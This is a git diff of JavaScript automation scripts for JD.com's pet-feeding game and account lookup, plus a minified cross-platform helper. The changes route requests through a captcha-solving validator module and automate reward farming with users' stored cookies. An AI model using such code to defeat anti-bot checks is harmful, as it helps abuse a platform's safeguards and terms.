console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) resolve(); }) @@ -345,38 +516,41 @@ function taskPostUrl(function_id, body = {}) { function TotalBean() { return new Promise(async resolve => { const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") } } - $.get(options, (err, resp, data) => { + $.post(options, (err, resp, data) => { try { if (err) { - $.logErr(err) + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) } else { if (data) { data = JSON.parse(data); - if (data['retcode'] === "1001") { + if (data['retcode'] === 13) { $.isLogin = false; //cookie过期 - return; + return } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName } } else { - $.log('京东服务器返回空数据'); + console.log(`京东服务器返回空数据`) } } } catch (e) { - $.logErr(e) + $.logErr(e, resp) } finally { resolve(); } @@ -408,4 +582,4 @@ function jsonParse(str) { } } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_joy.js b/jd_joy.js index 9628651..554d84b 100755 --- a/jd_joy.js +++ b/jd_joy.js @@ -2,7 +2,7 @@ jd宠汪汪 搬的https://github.com/uniqueque/QuantumultX/blob/4c1572d93d4d4f883f483f907120a75d925a693e/Script/jd_joy.js 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js IOS用户支持京东双账号,NodeJs用户支持N个京东账号 -更新时间:2021-7-15 +更新时间:2021-6-6 活动入口:京东APP我的-更多工具-宠汪汪 建议先凌晨0点运行jd_joy.js脚本获取狗粮后,再运行此脚本(jd_joy_steal.js)可偷好友积分,6点运行可偷好友狗粮 feedCount:自定义 每次喂养数量; 等级只和喂养次数有关,与数量无关 @@ -11,21 +11,24 @@ Combine from Zero-S1/JD_tools(https://github.com/Zero-S1/JD_tools) ==========Quantumult X========== [task_local] #京东宠汪汪 -15 0-23/2 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy.js, tag=京东宠汪汪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true +15 0-23/2 * * * jd_joy.js, tag=京东宠汪汪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true ============Loon=========== [Script] -cron "15 0-23/2 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy.js,tag=京东宠汪汪 +cron "15 0-23/2 * * *" script-path=jd_joy.js,tag=京东宠汪汪 ============Surge========== [Script] -京东宠汪汪 = type=cron,cronexp="15 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy.js +京东宠汪汪 = type=cron,cronexp="15 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_joy.js ===============小火箭========== -京东宠汪汪 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy.js, cronexpr="15 0-23/2 * * *", timeout=3600, enable=true +京东宠汪汪 = type=cron,script-path=jd_joy.js, cronexpr="15 0-23/2 * * *", timeout=3600, enable=true */ - +// @grant require const $ = new Env('宠汪汪'); +const zooFaker = require('./JDJRValidator_Pure'); +$.get = zooFaker.injectToRequest2($.get.bind($)); +$.post = zooFaker.injectToRequest2($.post.bind($)); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; @@ -36,31 +39,23 @@ if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } let message = '', subTitle = ''; -let FEED_NUM = ($.getdata('joyFeedCount') * 1) || 10; //每次喂养数量 [10,20,40,80] +let FEED_NUM = ($.getdata('joyFeedCount') * 1) || 40; //每次喂养数量 [10,20,40,80] let teamLevel = `2`;//参加多少人的赛跑比赛,默认是双人赛跑,可选2,10,50。其他不可选,其中2代表参加双人PK赛,10代表参加10人突围赛,50代表参加50人挑战赛,如若想设置不同账号参加不同类别的比赛则用&区分即可(如:`2&10&50`) //是否参加宠汪汪双人赛跑(据目前观察,参加双人赛跑不消耗狗粮,如需参加其他多人赛跑,请关闭) // 默认 'true' 参加双人赛跑,如需关闭 ,请改成 'false'; let joyRunFlag = true; let jdNotify = true;//是否开启静默运行,默认true开启 let joyRunNotify = true;//宠汪汪赛跑获胜后是否推送通知,true推送,false不推送通知 -let JD_API_HOST = 'https://jdjoy.jd.com' -if(process.env.JOY_HOST){ - JD_API_HOST = process.env.JOY_HOST -} - -const weAppUrl = 'https://jdjoy.jd.com//pet'; -// const validator = require('./JDJRValidator.js'); -const validator = require('./JDJRValidator_Pure.js'); -$.get=validator.injectToRequest($.get.bind($)) -$.post=validator.injectToRequest($.post.bind($)) +const JD_API_HOST = 'https://jdjoy.jd.com/pet' +const weAppUrl = 'https://draw.jdfcloud.com//pet'; !(async () => { if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } for (let i = 0; i < cookiesArr.length; i++) { @@ -71,9 +66,9 @@ $.post=validator.injectToRequest($.post.bind($)) $.isLogin = true; $.nickName = ''; await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*******\n`); if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); if ($.isNode()) { await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); @@ -82,19 +77,22 @@ $.post=validator.injectToRequest($.post.bind($)) } message = ''; subTitle = ''; + $.validate = ''; + // const zooFaker = require('./utils/JDJRValidator_Pure'); + // $.validate = await zooFaker.injectToRequest() await jdJoy(); - await showMsg(); // await joinTwoPeopleRun(); } } + await showMsg(); if ($.isNode() && joyRunNotify === 'true' && allMessage) await notify.sendNotify(`${$.name}`, `${allMessage}`) })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) async function jdJoy() { try { await getPetTaskConfig(); @@ -125,21 +123,21 @@ async function jdJoy() { } //逛商品得100积分奖励任务 async function deskGoodsTask() { - const deskGoodsRes = await getDeskGoodDetails(); - if (deskGoodsRes && deskGoodsRes.success) { - if (deskGoodsRes.data && deskGoodsRes.data.deskGoods) { - const { deskGoods, taskChance, followCount = 0 } = deskGoodsRes.data; - console.log(`浏览货柜商品 ${followCount ? followCount : 0}/${taskChance}`); - if (taskChance === followCount) return - for (let item of deskGoods) { - if (!item['status'] && item['sku']) { - await followScan(item['sku']) - } - } - } else { - console.log(`\n限时商品货架已下架`); - } - } + const deskGoodsRes = await getDeskGoodDetails(); + if (deskGoodsRes && deskGoodsRes.success) { + if (deskGoodsRes.data && deskGoodsRes.data.deskGoods) { + const { deskGoods, taskChance, followCount = 0 } = deskGoodsRes.data; + console.log(`浏览货柜商品 ${followCount ? followCount : 0}/${taskChance}`); + if (taskChance === followCount) return + for (let item of deskGoods) { + if (!item['status'] && item['sku']) { + await followScan(item['sku']) + } + } + } else { + console.log(`\n限时商品货架已下架`); + } + } } //参加双人赛跑 async function joinTwoPeopleRun() { @@ -197,7 +195,7 @@ async function joinTwoPeopleRun() { // if ($.getWinCoinRes.data['supplyOrder']) await energySupplyStation($.getWinCoinRes.data['supplyOrder']); await energySupplyStation('2'); await getRankList(); - if($.raceUsers && $.raceUsers.length > 0) { + if ($.raceUsers && $.raceUsers.length > 0) { for (let index = 0; index < $.raceUsers.length; index++) { if (index === 0) { console.log(`您当前里程:${$.raceUsers[index].distance}KM\n当前排名:第${$.raceUsers[index].rank}名\n将获得积分:${$.raceUsers[index].coin}\n`); @@ -229,7 +227,7 @@ async function joinTwoPeopleRun() { } //日常任务 async function petTask() { - for (let item of $.getPetTaskConfigRes.datas) { + for (let item of $.getPetTaskConfigRes.datas || []) { const joinedCount = item.joinedCount || 0; if (item['receiveStatus'] === 'chance_full') { console.log(`${item.taskName} 任务已完成`) @@ -243,7 +241,6 @@ async function petTask() { //已签到,领取签到后的狗粮 const res = await getFood('SignEveryDay'); console.log(`领取每日签到狗粮结果:${res.data}`); - await $.wait(1000) } } //每日赛跑 @@ -253,7 +250,6 @@ async function petTask() { } else if (item['receiveStatus'] === 'unreceive') { const res = await getFood('race'); console.log(`领取每日赛跑狗粮结果:${res.data}`); - await $.wait(1000) } } //每日兑换 @@ -263,7 +259,6 @@ async function petTask() { } else if (item['receiveStatus'] === 'unreceive') { const res = await getFood('exchange'); console.log(`领取每日兑换狗粮结果:${res.data}`); - await $.wait(1000) } } //每日帮好友喂一次狗粮 @@ -273,7 +268,6 @@ async function petTask() { } else if (item['receiveStatus'] === 'unreceive') { const res = await getFood('HelpFeed'); console.log(`领取每日帮好友喂一次狗粮 狗粮结果:${res.data}`); - await $.wait(1000) } } //每日喂狗粮 @@ -283,7 +277,6 @@ async function petTask() { } else if (item['receiveStatus'] === 'unreceive') { const res = await getFood('FeedEveryDay'); console.log(`领取每日喂狗粮 结果:${res.data}`); - await $.wait(1000) } } // @@ -294,7 +287,6 @@ async function petTask() { } else if (item['receiveStatus'] === 'unreceive') { const InviteUser = await getFood('InviteUser'); console.log(`领取助力后的狗粮结果::${JSON.stringify(InviteUser)}`); - await $.wait(1000) } } //每日三餐 @@ -306,7 +298,6 @@ async function petTask() { if (ThreeMealsRes.errorCode === 'received') { console.log(`三餐结果领取成功`) message += `【三餐】领取成功,获得${ThreeMealsRes.data}g狗粮\n`; - await $.wait(1000) } } } @@ -316,12 +307,12 @@ async function petTask() { console.log('-----关注店铺-----'); const followShops = item.followShops; for (let shop of followShops) { - if (shop.status == false) { - await iconClick("follow_shop", shop.shopId); + if (!shop.status) { + await dofollowShop(shop.shopId); await $.wait(1000) const followShopRes = await followShop(shop.shopId); console.log(`关注店铺${shop.name}结果::${JSON.stringify(followShopRes)}`) - await $.wait(3000) + await $.wait(5000) } } } @@ -332,9 +323,11 @@ async function petTask() { for (let scanMarketItem of scanMarketList) { if (!scanMarketItem.status) { const body = { - "marketLink": scanMarketItem.marketLink || scanMarketItem.marketLinkH5, - "taskType": "ScanMarket", + "marketLink": `${scanMarketItem.marketLink || scanMarketItem.marketLinkH5}`, + "taskType": "ScanMarket" }; + await doScanMarket('scan', encodeURI(body["marketLink"])); + await $.wait(1000) const scanMarketRes = await scanMarket('scan', body); 